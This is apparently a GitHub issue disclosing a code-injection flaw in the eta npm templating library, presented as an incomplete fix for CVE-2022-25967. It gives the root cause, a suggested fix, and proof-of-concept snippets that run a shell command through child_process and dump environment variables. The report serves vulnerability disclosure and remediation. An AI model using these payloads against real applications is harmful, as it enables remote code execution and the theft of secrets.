Skip to content

New Advisory: Code Injection via Unvalidated Config in eta (npm) - Incomplete Fix for CVE-2022-25967 #10301

Description

@hetmehta-kee

New Vulnerability Report

Package: eta (npm)
Current version: 4.6.0 (latest)
Weekly downloads: ~4.5 million
CWE: CWE-94 (Code Injection)
CVSS 3.1: 8.1 HIGH (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Reporter: Het Mehta (@hetmehtaa)

Summary

eta 4.6.0 (latest release) passes the config options functionHeader, varName, and outputFunctionName directly into a new Function() body without any validation. An attacker who can set these config values gets arbitrary code execution in the Node.js process.

CVE-2022-25967 closed one attack path (Express data.settings auto-merge) but never added validation on the config values themselves. The root cause is still present in all versions up to and including 4.6.0.

Root Cause

In src/compile-string.ts, the compileToString function builds a JavaScript function body using string interpolation:

let res = `${config.functionHeader}
...
function ${config.outputFunctionName}(s){__eta.res+=s;}

This string goes to new Function(config.varName, 'options', res). None of these three values are checked or validated.

Proof of Concept

import { Eta } from 'eta';

// 1. Arbitrary code execution via functionHeader
const eta1 = new Eta({ functionHeader: "return 'INJECTED_' + (7*7)" });
eta1.renderString("Hello", {}); // returns "INJECTED_49" instead of "Hello"

// 2. Full RCE via async rendering and dynamic import
const eta2 = new Eta({
    functionHeader: "const cp = await import('child_process'); return cp.execSync('id').toString();"
});
await eta2.renderStringAsync("ignored", {}); // executes 'id' command

// 3. Environment variable disclosure
const eta3 = new Eta({ functionHeader: "return JSON.stringify(process.env)" });
eta3.renderString("x", {}); // leaks all environment variables

All PoCs confirmed on eta 4.6.0 with Node.js v25.9.0.

How This Differs from CVE-2022-25967

CVE-2022-25967 fixed the Express data.settings merge that let template data overwrite engine config. That fix blocked one way for attacker data to reach the config.

This finding shows the root cause was never fixed. The config options still accept arbitrary strings and get interpolated into new Function(). Any other path that puts attacker data into these config options (constructor spread, configure(), prototype pollution) gives full RCE.

EJS fixed the same class of bug (CVE-2022-29078) by adding a _JS_IDENTIFIER regex check. Eta has no such check.

Suggested Fix

Validate varName and outputFunctionName with a JS identifier regex. Consider removing functionHeader or documenting it as trusted-only.

Affected Versions

All versions of eta, up to and including 4.6.0 (latest).

Maintainer Contact

The maintainer (Ben Gubler, @bgub) has been notified via email on 2026-10-11. Private vulnerability reporting is disabled on the bgub/eta repository.

Request

Requesting CVE assignment for this vulnerability through GitHub's CNA.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions